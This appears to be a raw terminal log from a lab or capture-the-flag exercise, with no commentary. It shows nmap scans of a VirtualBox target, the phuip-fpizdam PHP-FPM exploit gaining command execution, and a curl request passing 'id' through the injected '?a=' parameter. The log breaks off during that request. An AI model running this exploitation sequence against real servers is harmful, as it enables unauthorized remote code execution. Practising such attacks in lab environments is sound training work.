sudo nmap --min-rate 10000 -p- 192.168.56.118 [sudo] mikannse 的密码： Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 08:38 UTC Nmap scan report for 192.168.56.118 (192.168.56.118) Host is up (0.00040s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:F7:CE:E7 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.45 seconds
sudo nmap -sT -sV -sC -O -p22,80 192.168.56.118 Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 08:38 UTC Nmap scan report for 192.168.56.118 (192.168.56.118) Host is up (0.00032s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 4a:4c:af:92:cc:bb:99:59:d7:2f:1b:99:fb:f1:7c:f0 (RSA) | 256 ba:0d:85:69:43:86:c1:91:7c:db:2a:1e:34:ab:68:1e (ECDSA) |_ 256 a1:ac:2c:ce:f4:07:da:96:12:74:d1:54:9e:f7:09:04 (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). MAC Address: 08:00:27:F7:CE:E7 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds
sudo nmap --script=vuln -p22,80 192.168.56.118 Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 08:39 UTC Nmap scan report for 192.168.56.118 (192.168.56.118) Host is up (0.00032s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: | /robots.txt: Robots file |_ /phpinfo.php: Possible information file MAC Address: 08:00:27:F7:CE:E7 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 72.97 seconds
./phuip-fpizdam http://192.168.56.118/index.php 2024/02/18 09:04:26 Base status code is 200 2024/02/18 09:04:26 Status code 502 for qsl=1765, adding as a candidate 2024/02/18 09:04:26 The target is probably vulnerable. Possible QSLs: [1755 1760 1765] 2024/02/18 09:04:26 Attack params found: --qsl 1755 --pisos 38 --skip-detect 2024/02/18 09:04:26 Trying to set "session.auto_start=0"... 2024/02/18 09:04:26 Detect() returned attack params: --qsl 1755 --pisos 38 --skip-detect <-- REMEMBER THIS 2024/02/18 09:04:26 Performing attack using php.ini settings... 2024/02/18 09:04:26 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2024/02/18 09:04:26 Trying to cleanup /tmp/a... 2024/02/18 09:04:26 Done!
curl "http://192.168.56.118/index.php?a=id" -vv
* Trying 192.168.56.118:80... * Connected to 192.168.56.118 (192.168.56.118) port 80
